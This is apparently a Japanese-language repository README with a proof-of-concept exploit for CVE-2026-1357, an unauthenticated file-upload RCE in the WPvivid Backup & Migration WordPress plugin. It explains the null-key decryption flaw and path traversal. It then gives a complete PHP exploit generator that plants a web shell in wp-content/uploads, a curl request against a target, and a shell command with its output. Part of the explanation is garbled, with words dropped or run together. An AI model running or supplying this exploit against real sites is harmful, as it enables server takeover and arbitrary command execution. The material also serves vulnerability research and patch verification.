
CVE-2026-1357の概念実証エクスプロイト。WPvivid Backup & Migrationプラグインにおける、認証なしの任意ファイルアップロードによるRCEに至る脆弱性であり、エクスプロイト生成ツールと実行手順を含む。
発見者: Lucas Montes (NiRoX)
脆弱性: 認証不要の任意ファイルアップロードによるリモートコード実行(RCE)
CVE ID: CVE-2026-1357
CVSS: Critical(9.8)
ステータス: バージョン 0.9.124 でパッチ適用済み
このリポジトリには、WPvivid Backup & Migration WordPressプラグイン(バージョン <= 0.9.123)における重大な脆弱性の分析と概念実証(PoC)が含まれています。
この脆弱性により、認証されていない攻撃者がサーバー上に任意のファイル(PHPシェルなど)をアップロードでき、即座に**リモートコード実行(RCE)**につながります。これは、暗号化エラー処理における論理的な欠陥(Fail-Open)とパストラバーサル脆弱性が組み合わさって発生します。
この脆弱性は、プラグインが wpvivid_action=send_to_site フックを介してリモートバックアップ転送リクエストを処理する方法に存在します。攻撃チェーンは、連携して動作する2つの異なるバグで構成されています。
プラグインが転送リクエストを受信すると、openssl_private_decrypt() を使用して提供されたセッションキーの復号を試みます。
false を返します。プラグインのロジックはこのブール戻り値をチェックせず、AES暗号を初期化するために を ライブラリに渡し続けます。falsephpseclibphpseclib では、false または空のキーはnullバイトの文字列(\0\0...)として扱われます。これにより、攻撃者は128ビットのnullキーを使用して悪意のあるペイロードを暗号化し、実際の秘密キーの必要性を回避できます。ペイロードがnullキーを使用して正常に「復号」されると、プラグインはJSONコンテンツを処理します。
name パラメータはサニタイズされていません。../)を使用して、プラグインの制限されたバックアップディレクトリ(通常は .htaccess で保護されています)から脱出し、悪意のあるPHPファイルを公開の wp-content/uploads/ ディレクトリに書き込むことができます。制約事項:
wpvivid_api_token が期限切れになると、脆弱なコードパスによりリクエストは静かに失敗します。このエクスプロイトは phpseclib(v1)の動作に依存しています。ジェネレータをローカルで実行するには、ライブラリファイルが必要です。
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)このスクリプトはNullキーで暗号化されたペイロードを作成し、シェルをアップロードするためのパストラバーサルを含みます。
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
結果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)